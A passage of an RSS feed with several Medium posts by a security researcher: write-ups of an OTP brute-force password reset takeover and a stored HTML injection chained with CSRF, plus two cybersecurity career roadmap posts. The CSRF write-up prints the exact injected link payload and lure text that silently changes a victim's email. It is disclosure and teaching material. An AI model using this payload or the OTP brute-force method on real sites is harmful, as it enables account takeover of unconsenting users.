was found, the server returned an <strong>HTTP 302 Redirect</strong>, making successful responses easy to identify.</p><p>Once the valid OTP was discovered, I reached the password reset page and successfully assigned a new password to the account.</p><p>At this stage, I had demonstrated that I could reset the password of my own account <strong>without ever knowing the original OTP</strong>, simply by brute forcing the verification code.</p><h3>A Small OSINT Step That Changed Everything</h3><p>One important lesson during web application assessments is to collect as much information about the target as possible.</p><p>Many websites publicly expose organizational email addresses in their <strong>Contact Us</strong>, <strong>Support</strong>, or website footer sections.</p><p>For example:</p><pre>info@domain.com<br>sales@domain.com<br>support@domain.com</pre><p>Publishing these email addresses is not inherently a security issue.</p><p>However, if they are associated with privileged accounts, weaknesses in authentication or password reset mechanisms can significantly increase the impact of an attack.</p><p>With that in mind, I tested these email addresses one by one.</p><p>The first two addresses were not associated with any user accounts.</p><p>However, when I tested:</p><pre>support@domain.com</pre><p>I discovered that an account actually existed.</p><p>I initiated the password reset process, brute forced the four-digit OTP, reset the password, and successfully logged into the application.</p><p>The compromised account turned out to have <strong>Moderator</strong> privileges.</p><h3>Lessons Learned</h3><p>This vulnerability demonstrates that protecting only the <strong>Login</strong> endpoint is not enough.</p><p>The <strong>Forgot Password</strong> flow should receive exactly the same level of security controls, including:</p><ul><li>Rate Limiting</li><li>Restrictions on repeated failed OTP attempts</li><li>Proper OTP expiration</li><li>Monitoring and logging brute-force activity</li><li>Longer, more unpredictable OTP values</li></ul><p>Otherwise, an attacker may completely bypass the protected login flow and achieve <strong>Account Takeover</strong> through the password reset functionality instead.</p><h3>Responsible Disclosure</h3><p>After successfully verifying the vulnerability, I responsibly reported it to the website’s support team.</p><p>Since the platform did not operate a Bug Bounty program, they thanked me by providing a <strong>100% discount coupon</strong> for one of their online courses.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=531f060b85de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stored HTML Injection leading to CSRF-based Account Takeover]]></title>
            <link>https://medium.com/@hossein.za68/stored-html-injection-leading-to-csrf-based-account-takeover-30ff84bac34a?source=rss-30dc26eb393c------2</link>
            <guid isPermaLink="false">https://medium.com/p/30ff84bac34a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[csrf]]></category>
            <dc:creator><![CDATA[Hossein Zarei]]></dc:creator>
            <pubDate>Tue, 23 Jun 2026 18:45:50 GMT</pubDate>
            <atom:updated>2026-06-23T18:45:50.401Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi everyone 👋</p><p>Recently, during a private bug bounty program in my country, I discovered a critical issue in a blog subdomain of a web application that led to <strong>Account Takeover (ATO)</strong>.</p><p>The vulnerability was a combination of:</p><ul><li>Stored HTML Injection in comment functionality</li><li>CSRF protection failure on a sensitive endpoint</li><li>Misconfigured SameSite cookie behavior</li><li>Unsafe HTTP method handling on a state-changing action</li></ul><p>When chained together, these issues allowed any authenticated user (including administrators) to have their email address silently changed after interacting with a malicious comment.</p><p>This ultimately enabled a full account takeover via password reset.</p><h3>Application Overview</h3><p>The target was a subscription-based platform providing torrent-to-direct-download conversion services, built using the <strong>Drupal framework</strong>.</p><p>A blog subdomain (e.g. blog.target.com) was used for announcements, discounts, and public posts.</p><p>Users were allowed to:</p><ul><li>View blog posts</li><li>Leave comments under posts</li><li>Interact with content without moderation</li></ul><h3>Key observations:</h3><ul><li>Comments were <strong>auto-published immediately</strong></li><li>No admin approval was required</li><li>HTML filtering was partially implemented but incomplete</li></ul><h3>Initial Finding: Stored HTML Injection</h3><p>During testing, I noticed that the comment section was not properly sanitizing HTML input.</p><p>The following restrictions were observed:</p><ul><li>&lt;script&gt; tags were filtered</li><li>Most JavaScript event handlers (onerror, onload, onclick, etc.) were blocked</li><li>However, certain HTML tags were still allowed:</li><li>&lt;img&gt;</li><li>&lt;a&gt;</li></ul><p>This resulted in a <strong>Stored HTML Injection vulnerability</strong>, rather than full XSS execution.</p><p>Although JavaScript execution was not possible, HTML-based payload delivery was still feasible.</p><h3>Sensitive Functionality: Email Change Endpoint</h3><p>While analyzing account settings, I intercepted the request responsible for changing the user’s email address using Burp Suite.</p><p>Key findings:</p><ul><li>The request used the <strong>POST method</strong></li><li>No <strong>CSRF token</strong> was present</li><li>Authentication relied solely on <strong>session cookies</strong></li></ul><p>This immediately indicated a missing CSRF protection mechanism.</p><h3>SameSite Cookie Behavior Analysis</h3><p>Response headers showed that no explicit SameSite attribute was set for the session cookie.</p><p>A captured response confirmed this behavior:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r_KBml3hm-b5JqOzwz-T1Q.png" /><figcaption><em>curl response screenshot included in report</em></figcaption></figure><p>In modern browsers (Chrome, Edge, Firefox), when SameSite is not explicitly defined, it is treated as:</p><blockquote><strong><em>SameSite=Lax (default behavior)</em></strong></blockquote><h3>What SameSite=Lax actually means</h3><p>Under this configuration:</p><ul><li>Cookies are sent on <strong>same-site requests</strong></li><li>Cookies are also sent on <strong>top-level navigations (GET-based navigations)</strong></li><li>Cookies are NOT sent on subresource requests such as:</li><li>&lt;img&gt;</li><li>&lt;iframe&gt;</li><li>fetch / AJAX</li></ul><p>This is an important browser-level CSRF mitigation mechanism, not a simple GET/POST restriction.</p><h3>Abuse of &lt;a&gt; Tag for CSRF Triggering</h3><p>A key part of this exploit was abusing the behavior of the &lt;a&gt; tag.</p><p>Unlike &lt;img&gt; or &lt;iframe&gt;, the &lt;a&gt; tag triggers a:</p><blockquote><strong><em>Top-level navigation in the browser</em></strong></blockquote><p>This means:</p><ul><li>The browser fully navigates to the target URL</li><li>The request is treated as a legitimate user action</li><li>Session cookies are included under SameSite=Lax rules</li></ul><h3>Impact</h3><p>This transforms the attack into a:</p><blockquote><strong><em>User-initiated navigation-based CSRF</em></strong></blockquote><p>Meaning user interaction (click) is required to trigger the state-changing request.</p><h3>HTTP Method Handling Issue (GET vs POST Behavior)</h3><p>The email change functionality was originally designed using a POST-based form:</p><pre>&lt;form action=&quot;/my-panel/change-email&quot; method=&quot;POST&quot;&gt;<br>    &lt;input name=&quot;email&quot;&gt;<br>&lt;/form&gt;</pre><p>However, backend behavior was not strictly enforcing HTTP methods.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*bOhutYaXiCTspYOR_v9Hlg.png" /><figcaption>Burp Request change from POST to GET</figcaption></figure><p>In PHP, the following implementation was observed:</p><pre>$email = $_REQUEST[&#39;email&#39;];</pre><p>This means:</p><ul><li>Both GET and POST requests are accepted</li><li>Cookie data may also be included depending on context</li></ul><p>If instead the code had been:</p><pre>$email = $_POST[&#39;email&#39;];</pre><p>Then only POST requests would be accepted.</p><h3>Root cause</h3><p>The vulnerability was not simply method switching.</p><p>Rather:</p><blockquote><em>The endpoint was designed to accept state-changing input without strict HTTP method enforcement.</em></blockquote><h3>Root Cause Summary</h3><p>This issue was the result of multiple security failures combined:</p><ol><li>Missing CSRF protection (no anti-CSRF token)</li><li>Weak HTTP method validation on a sensitive endpoint</li><li>Stored HTML Injection enabling payload delivery</li></ol><h3>Exploitation Payload</h3><p>The final payload injected into the comment section was:</p><pre>&lt;a href=&quot;https://target.com/my-panel/change-email?email=evil@gmail.com&quot;&gt;<br>    Click here to see screenshot<br>&lt;/a&gt;</pre><p>To make the attack more realistic, the payload was embedded in a social engineering context:</p><pre>Hi guys, I have a problem. Please check my screenshot:<br><br>&lt;a href=&quot;https://target.com/my-panel/change-email?email=evil@gmail.com&quot;&gt;<br>Click here to see screenshot<br>&lt;/a&gt;</pre><h3>Impact</h3><p>Once a victim clicked the malicious link:</p><ul><li>Their email address was silently changed to an attacker-controlled value</li><li>The attacker could then initiate a password reset flow</li><li>This led to <strong>full Account Takeover (ATO)</strong></li></ul><h3>Conclusion</h3><p>This vulnerability demonstrates how multiple medium-severity issues can be chained into a critical impact:</p><ul><li>Stored HTML Injection alone was not exploitable for XSS</li><li>CSRF protection was missing</li><li>HTTP method enforcement was weak</li><li>Browser security mechanisms (SameSite=Lax) were insufficient due to navigation-based abuse</li></ul><p>Individually, each issue may seem limited in severity — but combined, they resulted in full account compromise.</p><p>To provide a clearer understanding of the vulnerability workflow, I have included a schematic diagram at the end of this article.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RUlhuIP25jaN1J9sK54B8w.png" /><figcaption>Schematic overview of the vulnerability workflow</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30ff84bac34a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Complete Web Penetration Testing Roadmap for 2026 (Part 2)]]></title>
            <link>https://medium.com/@hossein.za68/the-complete-web-penetration-testing-roadmap-for-2026-part-2-1a5be9cd157f?source=rss-30dc26eb393c------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a5be9cd157f</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Hossein Zarei]]></dc:creator>
            <pubDate>Sun, 15 Feb 2026 17:56:59 GMT</pubDate>
            <atom:updated>2026-02-15T17:56:59.971Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone 👋</p><p>In Part 1 of this cybersecurity roadmap series, we discussed the foundational prerequisites and entry-level courses required to enter the field of cybersecurity and penetration testing in 2026 — based on both my personal experience and consultations with professionals active in the industry.</p><p>Before continuing, I want to sincerely apologize for the delay in publishing this second part. Unfortunately, due to a nationwide internet <a href="https://blog.cloudflare.com/iran-protests-internet-shutdown/">shutdown in Iran</a> that lasted approximately 20 days, access was unavailable — which significantly delayed this article.</p><p>In this part, we will dive deeper into the structured learning path for:</p><ul><li>Web Penetration Testing<br> <br>- Mobile Penetration Testing (to be covered in Part 3)<br> <br>- Practical labs<br> <br>- Essential learning platforms<br> <br>- Real-world vulnerability reporting platforms</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*NmbA6thOwklqR8JfZP-9OA.png" /></figure><h3>Web Penetration Testing Courses (OWASP Top 10)</h3><p>Almost every country offers courses centered around the <a href="https://owasp.org/www-project-top-ten/"><strong>OWASP Top 10</strong></a>, whether in-person, online, or bootcamp-style.</p><p>The official list is published by OWASP, and you can always check the latest version on the <a href="https://owasp.org/www-project-top-ten/">official website of the OWASP Foundation</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*JEDApe3Attf0faJVcvt7IA.png" /></figure><h4>Why Is OWASP Top 10 an Excellent Starting Point?</h4><p>Because it introduces you to the most critical and frequently exploited web vulnerabilities observed in real-world environments.</p><p><strong>A Quick Overview of Key Vulnerabilities:</strong></p><p><em>Broken Access Control — Unauthorized access to restricted resources<br> <br>Security Misconfiguration — Improper or insecure configurations<br> <br>Software Supply Chain Failures— Vulnerabilities in third-party libraries and dependencies</em><br> <br><em>Cryptographic Failures — Weak or improper cryptographic implementations<br> <br>Injection — SQL Injection, Command Injection, and similar attacks<br> <br>Insecure Design— Architectural design flaws</em><br> <br><em>Authentication Failures — Weak authentication and session management<br> <br>Software or Data Integrity Failures** — Integrity violations in code or data<br> <br>Security Logging &amp; Monitoring Failures — Lack of proper logging and alerting<br> <br>Improper Error Handling — Unsafe handling of exceptions and system errors</em></p><p>Once you gain solid understanding of these concepts, the real journey begins: structured, hands-on practice.</p><h4>The Most Critical Stage: Deliberate Practice</h4><p><strong>PortSwigger Academy</strong></p><p>One of the best platforms globally for practical web penetration testing is:</p><p><a href="https://portswigger.net/web-security/all-topics">PortSwigger</a></p><p>This company is also the creator of the industry-standard web testing tool:</p><p><a href="https://portswigger.net/burp">Burp Suite</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*hReXhJXXaFRoNOjjrV9x3w.png" /></figure><h4>Why Is PortSwigger So Important?</h4><p>High-quality, categorized vulnerability articles<br> <br>Structured labs (Beginner → Practitioner → Expert)<br> <br>Realistic attack scenarios based on real-world cases<br> <br>Practical exposure to Burp Suite features</p><blockquote><strong>Golden Rule:</strong> <br>Always attempt to solve labs on your own before reviewing the solution.</blockquote><blockquote>Even More Important: <br>Take structured notes after completing each lab. This habit differentiates professionals from beginners.</blockquote><blockquote>For many successful penetration testers and bug hunters, consistent and targeted lab-solving on PortSwigger has been a major turning point in their careers.</blockquote><h4>Additional Essential Practice Labs</h4><p><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop</a></p><p>An intentionally vulnerable modern e-commerce application containing more than 170 challenges, covering:</p><p>OWASP Top 10<br> <br>OWASP API Top 10<br> <br>Business Logic vulnerabilities</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*pMNWM1njI0lpU20karGZ-A.gif" /></figure><p>You can run it:</p><p><a href="https://juice-shop.herokuapp.com/">Online</a><br> <br>Locally using Docker<br> <br>On your own VPS</p><blockquote>Major advantage: <br>Beyond vulnerability testing, you’ll gain hands-on exposure to Docker, web servers, reverse proxies, and DevOps-related configurations.</blockquote><h4>DVWA (Damn Vulnerable Web Application)</h4><p><a href="https://github.com/digininja/DVWA">Damn Vulnerable Web Application</a></p><p>A classic vulnerable web application designed specifically for security training.</p><p>It covers most OWASP Top 10 vulnerabilities and provides three difficulty levels:</p><p><em>Easy<br> <br>Medium<br> <br>Hard</em></p><p>It can be deployed via:</p><p><a href="https://dvwa.exp-9.com/login.php">Online Website</a> — username: admin pass: password</p><p>VPS<br> <br>Docker</p><p>Additionally, in some practical modules of the EC-Council certification — specifically the Certified Ethical Hacker — DVWA-style environments are often used for web-related exercises.</p><h4>Entering the Real World (After 12–18 Months)</h4><p>After approximately one year of serious, consistent practice (including foundational courses and advanced web penetration testing topics), you should begin testing your skills in real-world environments.</p><p>🟢 OpenBugBounty</p><p>OpenBugBounty</p><p>A global vulnerability disclosure platform (VDP) that does not offer monetary rewards.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*KxedcXycn9j4Klp2N_U6LQ.png" /></figure><p><strong>Why It’s Valuable:</strong></p><p><em>Builds a strong public portfolio<br> <br>Familiarizes you with vulnerability triage processes<br> <br>Teaches you how patch validation works<br> <br>Strengthens vulnerability validation and reporting skills</em></p><p><em>Although there are no cash rewards, the experience and public track record are extremely valuable for your resume.</em></p><h4>Advanced Competitive Platforms (Later Stage)</h4><p>HackerOne<br> <br>Bugcrowd</p><p>These platforms host Bug Bounty Programs (BBP) that offer financial rewards.</p><blockquote>⚠️ However, an important recommendation:</blockquote><blockquote>Due to intense competition, beginners may become discouraged if they fail to find valid vulnerabilities. For this reason, I strongly recommend avoiding these platforms during your first two years. Focus instead on structured labs, OpenBugBounty, and real client projects before entering high-competition bounty environments.</blockquote><h4>Progressing to Professional Levels</h4><p><strong>Mid-Level Web Pentester</strong></p><p>If you consistently follow this roadmap with discipline and serious effort:</p><p>Within 12–18 months, you can realistically reach a mid-level web penetration testing skill set and confidently apply for relevant job positions.</p><p><strong>Senior Web Pentester</strong></p><p>To reach senior level, you will need:</p><p>1–2 years of real-world professional experience<br> <br>Knowledge beyond OWASP Top 10</p><p>An important advanced reference is:</p><p><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></p><p>Additionally, gaining expertise in enterprise technologies is highly valuable. For example:</p><p>Active Directory</p><p>Learning both attack and defense techniques in enterprise environments can significantly strengthen your profile for senior or Red Team positions.</p><p>✅ Final Roadmap Summary</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FzOC9UNTFIJROz-7551GKA.png" /></figure><p><em>In Part 3 of this series, we will explore the Mobile Penetration Testing Roadmap, which can be pursued alongside web penetration testing for faster career growth.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a5be9cd157f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Break Into Cybersecurity in 2026 (A Realistic Roadmap — Part 1)]]></title>
            <link>https://medium.com/@hossein.za68/how-to-break-into-cybersecurity-in-2026-a-realistic-roadmap-part-1-c926910b2af4?source=rss-30dc26eb393c------2</link>
            <guid isPermaLink="false">https://medium.com/p/c926910b2af4</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[career-advice]]></category>
            <dc:creator><![CDATA[Hossein Zarei]]></dc:creator>
            <pubDate>Wed, 31 Dec 2025 09:04:28 GMT</pubDate>
            <atom:updated>2025-12-31T09:04:28.714Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to Break Into Cybersecurity in 2026 (A Realistic Roadmap — Part 1)</h3><p>My name is Hossein. I’m 35 years old, and after about 11 years of experience across different IT roles — from mobile and computer repair to Help Desk positions — I officially decided in 2023 to seriously enter the field of cybersecurity.</p><p>My main area of interest and activity is <strong>web and mobile penetration testing</strong>. Since I already had some prerequisites — such as a solid understanding of networking fundamentals, hands-on experience with Linux, completing a Linux Essentials course back in 2019, and a basic to intermediate grasp of Python from university and later work-related needs — my entry into this field progressed at a relatively good pace.</p><p>In this article, I’ll share my personal experience and, ultimately, explain the key requirements for success and growth in <strong>web penetration testing</strong>, which is my primary focus.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPCZZ44YzK_2UJ7N2f83wA.png" /></figure><blockquote>An Important Note</blockquote><blockquote>This experience is based on extensive research, conversations with friends already working in this field, and well-known global learning paths. I’ve tried to combine personal experience with what I’ve learned through years of trial and error, and present everything in a <strong>practical and concise</strong> way.</blockquote><blockquote>To keep things readable and not overwhelming, this article will be published in <strong>multiple parts</strong>.</blockquote><p>Before starting your journey into cybersecurity and following any roadmap, the most important question is:<br> <strong>What is your current level?</strong></p><ul><li>Do you have basic knowledge of networking and Linux?</li><li>Are you somewhat familiar with programming languages like Python, PHP, or JavaScript?</li></ul><p>If not, don’t worry at all.</p><p>I’ve designed this path from <strong>beginner to advanced</strong>, but it’s worth mentioning that having basic familiarity will significantly speed up your progress. That said, many successful professionals entered cybersecurity without any prior IT background or even a formal computer science degree.</p><h4>Defensive vs Offensive Security (Keep It Simple)</h4><p>Cybersecurity is generally divided into two main areas:</p><ul><li><strong>Defensive Security (Blue Team)</strong></li><li><strong>Offensive Security (Red Team)</strong></li></ul><p>Each of these has many subfields, but I don’t want to overcomplicate things here.</p><p>Regardless of which path you’re ultimately interested in, <strong>the fundamentals and intermediate-level topics are largely the same for both</strong>. Once you’ve built a solid foundation, that’s when you should decide which direction suits your interests — something most experienced professionals in this field strongly agree on.</p><h4>Core Cybersecurity Foundations (Very Important)</h4><p>Now let’s talk about the courses I consider the <strong>Cybersecurity Fundamentals Track</strong>.<br> These courses are crucial for building a strong foundation and are <strong>essential for both defensive and offensive security paths</strong>.</p><ol><li>Network+</li><li>Security+</li><li>Linux LPIC-1</li><li>Python Fundamentals</li><li>CEH (Certified Ethical Hacker)</li></ol><h4>Network+</h4><p>You should take <a href="https://www.comptia.org/en/certifications/network/"><strong>Network+</strong></a> seriously — it’s the <strong>first real step</strong> into cybersecurity.</p><p>This course is offered by <strong>CompTIA</strong>, an organization well-known for its networking and security certifications. Network+ is one of their most important foundational courses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-1q8kq1hhz1iP86Ukrkv-A.jpeg" /></figure><p>In Network+, you should focus especially on topics such as:</p><ul><li>IP addressing and subnetting</li><li>DNS (extremely important)</li><li>DHCP</li><li>Basic networking concepts relevant to real-world environments</li></ul><p>Other topics like routers, switches, topologies, and cabling are covered as well, but the subjects above are the most critical from a security perspective.</p><p>If you plan to take the certification exam, you can first practice using online test platforms to assess your readiness. The exam itself is a written, multiple-choice test.<br> That said, in cybersecurity, <strong>real technical knowledge matters far more than certificates</strong>.</p><h4>Security+</h4><p><a href="https://www.comptia.org/en-us/blog/what-is-comptia-security-certification/"><strong>Security+</strong></a> is a vendor-neutral foundational certification that covers core to mid-level security concepts, including:</p><ul><li>Threats and attack types</li><li>Network and protocol security</li><li>Identity and access management</li><li>Cryptography</li><li>Host and server hardening</li><li>Wireless and cloud security</li><li>Risk management and incident response</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*yDACpLcM82iywdnDs1hsew.png" /></figure><blockquote><strong>Goal:</strong><br> To validate both theoretical and practical security knowledge required to protect systems and networks — the baseline security knowledge every technician or analyst should have.</blockquote><p><strong>Practical value:</strong><br> Ideal for entry-level roles such as SOC analyst, security-focused network administrator, or security support/helpdesk, and a solid stepping stone toward advanced certifications like CEH or SANS.</p><h4>Linux LPIC-1</h4><p><a href="https://www.lpi.org/our-certifications/lpic-1-overview/"><strong>LPIC-1</strong></a> is one of the most reputable Linux certifications, focusing on <strong>hands-on system usage rather than memorization</strong>.</p><h4>What you’ll learn:</h4><ul><li>Working with the Linux command line and core tools</li><li>File systems, users, and permissions</li><li>Processes, services, and logs</li><li>Basic Linux networking concepts</li><li>System installation, configuration, and troubleshooting</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*hXh5VxFLZXLT32H0UvMWHw.png" /></figure><h4>Why LPIC-1 matters in cybersecurity</h4><h4>Offensive Security</h4><ul><li>Almost all penetration testing tools (e.g., Kali Linux) run on Linux</li><li>Understanding permissions, processes, and services is essential for:</li><li>Privilege escalation</li><li>Post-exploitation</li><li>Without Linux skills, penetration testing remains shallow</li></ul><h4>Defensive Security</h4><ul><li>Most servers (web, database, cloud) run on Linux</li><li>Log analysis, service inspection, and system hardening require Linux knowledge</li><li>A core requirement for SOC, Blue Team, and Incident Response roles</li></ul><p><strong>Summary:</strong></p><blockquote><em>LPIC-1 is the backbone of Linux skills in cybersecurity. Whether attacking or defending, without a deep understanding of Linux, you’re severely limited.</em></blockquote><p>You can take the official exam through the <a href="https://www.lpi.org/our-certifications/lpic-1-overview/">LPIC website</a>. The exam is typically written and multiple-choice — but again, <strong>technical skills matter more than the certificate itself</strong>.</p><h4>Python Fundamentals</h4><p>is the common language of cybersecurity — simple, fast, and incredibly powerful.</p><h4>Offensive Security</h4><ul><li>Writing scripts for:</li><li>Scanning, recon, and enumeration</li><li>Automating repetitive attacks</li><li>Understanding and customizing exploits</li><li>Building simple penetration testing tools</li></ul><h4>Defensive Security</h4><ul><li>Log and security data analysis</li><li>Monitoring and threat-detection scripts</li><li>Basic SOAR and incident-response automation</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E4od0LKRNcYZ6ueDyfSqIQ.png" /></figure><p>Once you’re comfortable with variables, conditions, loops, data types, and syntax, the most important Python libraries for <strong>web security</strong> include:</p><p>requests, urllib, beautifulsoup4, regex, selenium</p><p>For <strong>network security</strong>:<br> socket, scapy</p><p>There are plenty of Python learning resources available — from YouTube and Udemy to platforms like <a href="https://www.w3schools.com/python/"><strong>W3Schools</strong></a>.</p><p><strong>One-line summary:</strong></p><blockquote><em>Python Fundamentals turn security knowledge into action — for both smart attacks and fast, automated defense.</em></blockquote><h4>CEH (Certified Ethical Hacker)</h4><p><a href="https://ethicalhacking.eccouncil.org/certified-ethical-hacker-ceh-v13-international?utm_source=ecc_paid&amp;utm_medium=GoogleSearch&amp;utm_campaign=ecc_intl-europe_ceh_paidsearch_prospecting&amp;https://ethicalhacking.eccouncil.org/certified-ethical-hacker-ceh-v13-international&amp;utm_source=ecc_paid&amp;utm_medium=GoogleSearch&amp;utm_campaign=ecc_intl-europe_ceh_paidsearch_prospecting&amp;utm_term=learn%20ethical%20hacking&amp;gad_source=1&amp;gad_campaignid=22032144197&amp;gbraid=0AAAAAD1MC3Jdu6E18Kk2Ysr1nvmzFRQgE&amp;gclid=Cj0KCQiAsNPKBhCqARIsACm01fQiQ1ck99hn5DBjKIrGxoSRZIQsg9361W9WJjRzoZSp1xaQYSDVf04aAtv2EALw_wcB"><strong>CEH</strong></a> is a comprehensive course designed to provide a structured introduction to ethical hacking and cybersecurity concepts, with a strong focus on <strong>attacker techniques and mindset</strong>.</p><p>In this course, you learn core security topics in a foundational but highly valuable way. CEH covers a wide range of subjects, including:</p><ul><li>Information gathering</li><li>Web penetration testing (classic vulnerabilities like XSS and SQL Injection)</li><li>Brute-force attacks</li><li>Wireless network penetration testing</li><li>Introductory mobile security testing</li><li>Password cracking</li><li>Basic cloud security concepts</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*LK9dfeT-loPxo8R42VT1Vg.png" /></figure><h4>Offensive Security</h4><ul><li>Understanding the attack lifecycle (Kill Chain)</li><li>Familiarity with common attack types:<br> Web, Network, System, Social Engineering</li><li>Learning tools and techniques (not necessarily deep mastery)</li></ul><h4>Defensive Security</h4><ul><li>Understanding attacker behavior to:</li><li>Detect attacks earlier</li><li>Improve security policies</li><li>Well-suited for SOC, Blue Team, and threat analysis roles</li></ul><blockquote>CEH is officially offered by <strong>EC-Council</strong>, with both written and practical exams. In many countries, the same material is also taught through non-official training programs.</blockquote><h4>Overall Roadmap Overview</h4><p>In the image below, you can see the overall roadmap explained in this article, along with a summary of the most important topics covered in each course.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HUs3cdogWrj0tEQasa17Qw.png" /></figure><h4>Final Words (Part 1)</h4><p>That wraps up <strong>Part 1</strong> of this article. I hope it’s been helpful for anyone looking to enter the cybersecurity field.</p><p>I’d be happy to hear your thoughts and experiences in the comments.</p><p>In <strong>Part 2</strong>, we’ll dive deeper into the <strong>web and mobile penetration testing roadmap</strong>, which builds directly on the cybersecurity fundamentals covered here. I’ll share more personal experience, useful resources, and practical strategies for strengthening your technical skills.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c926910b2af4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>